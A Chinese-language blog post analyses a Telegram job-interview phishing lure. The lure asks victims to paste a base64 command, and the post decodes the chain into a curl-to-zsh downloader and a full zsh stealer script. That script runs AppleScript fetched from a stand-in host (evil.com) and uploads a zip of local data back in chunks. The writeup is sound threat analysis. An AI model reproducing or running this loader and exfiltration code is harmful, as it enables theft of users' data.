见识 Tg 钓鱼

Thu, 02 Apr 2026 17:32:12 +0800

文中代码均已消毒处理

最近在看新的工作机会，遇到一个让加 tg 的，本来觉着没啥，也就在 tg 上沟通

越聊越觉得对面的文字不像是人打出来的，遣词造句的风格，难以言说

终于发来了面试链接，一点开就是个弹窗，要复制命令装驱动，一眼钓鱼

还是按耐不住好奇心，复制来看看，最基础的 echo | base64 -d | zsh

于是解码看看是啥

echo ‘The sound carder drver certificate is currently beinginstalledand updated. Please wait…’ & curl xxx.evil/xxx | zsh

好嘛，又下载了一个脚本，接着扒

又是个 base64 之后的压缩包解压再 eval 的脚本，继续解压看看

 1#!/bin/zsh
 2daemon_function() {
 3    exec </dev/null
 4    exec >/dev/null
 5    exec 2>/dev/null
 6    local domain="evil.com"
 7    local token="xxxx"
 8    local api_key="xx"
 9    local file="/tmp/osalogging.zip"
10    if [ $# -gt 0 ]; then
11        curl -k -s --max-time 30 \
12            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
13            -H "api-key: $api_key" \
14            "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
15    else
16        curl -k -s --max-time 30 \
17            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
18            -H "api-key: $api_key" \
19            "http://$domain/dynamic?txd=$token" | osascript
20    fi
21    if [ $? -ne 0 ]; then
22        exit 1
23    fi
24    if [[ ! -f "$file" || ! -s "$file" ]]; then
25        return 1
26    fi
27    local CHUNK_SIZE=$((10 * 1024 * 1024))
28    local MAX_RETRIES=8
29    local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM)
30    local total_size
31    total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")
32    if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then
33        return 1
34    fi
35    local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
36    local i=0
37    while (( i < total_chunks )); do
38        local offset=$((i * CHUNK_SIZE))
39        local chunk_size=$CHUNK_SIZE
40        (( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset))
41        local success=0
42        local attempt=1
43        while (( attempt <= MAX_RETRIES && success == 0 )); do
44            http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \
45                curl -k -s -X PUT \
46                --data-binary @- \
47                -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
48                -H "api-key: $api_key" \
49                --max-time 180 \
50                -o /dev/null \
51                -w "%{http_code}" \
52                "http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null)
53            curl_status=$?
54            if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
55                success=1
56            else
57                ((attempt++))
58                sleep $((3 + attempt * 2))
59            fi
60        done
61        if (( success == 0 )); then
62            return 1
63        fi
64        ((i++))
65    done
66    rm -f "$file"
67    return 0
68}
69if daemon_function "$@" & then
70    exit 0
71else
72    exit 1
73fi

终于是个有点事做的脚本了，做的事情也很简单，下载恶意脚本交给 osascript 执行，再上传本地的 /tmp/osalogging.zip 包

Scam on Delusions

见识 Tg 钓鱼